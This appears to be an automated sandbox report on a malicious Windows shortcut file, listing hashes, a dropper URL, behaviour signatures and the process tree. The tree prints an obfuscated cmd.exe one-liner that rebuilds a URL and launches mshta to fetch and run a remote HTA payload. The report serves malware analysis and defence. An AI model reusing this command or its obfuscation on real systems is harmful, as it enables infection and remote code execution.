Analysis
- max time kernel
40s - max time network
38s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 16:58
Static task
static1
Behavioral task
behavioral1
Sample
DOC-LAZZK7.lnk
Resource
win10v2004-20260513-en
4 signatures
40 seconds
Behavioral task
behavioral2
Sample
DOC-LAZZK7.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
40 seconds
General
- Target DOC-LAZZK7.lnk
- Size 2KB
- Sample260803-vg2nbsfp3z
- SHA256 0a28efe782e3a06a6ef7be1e1f9290dfb2f043004c52159db8e33d87975fa5d3
- MD5 991e81fd8769ea5a9ceef27206f0d75c
- SHA1 077bd53084b9cd42c9f830af3cbe481de5f4fe7b
- SHA512 790fac9e220aed7e7cafaed4e6822c0c9fd32c1331d54c335037f6aa618f66a8be28a1e3d81504d256c7475ee19b405f405a9a44eb42b1725d1e671e056769e6
- TLSH T1344198412AED45D8F2BB8E77DEFF6390827BB851AD60C68E0800420D1422F51E137B23
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5732 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 5732 wrote to memory of 4772 5732 cmd.exe 90 PID 4772 wrote to memory of 2856 4772 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-LAZZK7.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5732 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D/V:on/C"set GDd=e6qm6rx&&set GgUR=k2shtazne&set yH=systsfbbszhrmtsys&set KU=bakczozbctfobak&set aKBA=bakvptrynrqsbak&set LTy=dbggacsjvhyvktzaakpcgdbg&set RUNpF=syshwoozrxbqbsys&set po=61sk&&set SElx=em4tp2&&set MRe=t4artzl&&set kkhTm=ht@tp@s@:/@/ma-@p@df@f@ill@[email protected]@/@h@/estag@i@o@1@.@php?r=391@46@9FB5@D82DB&&start /b !GDd:~3,1!!GgUR:~2,4! !kkhTm:@=!&&set wDON=done"2⤵
- Suspicious use of WriteProcessMemory
PID:4772 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:2856
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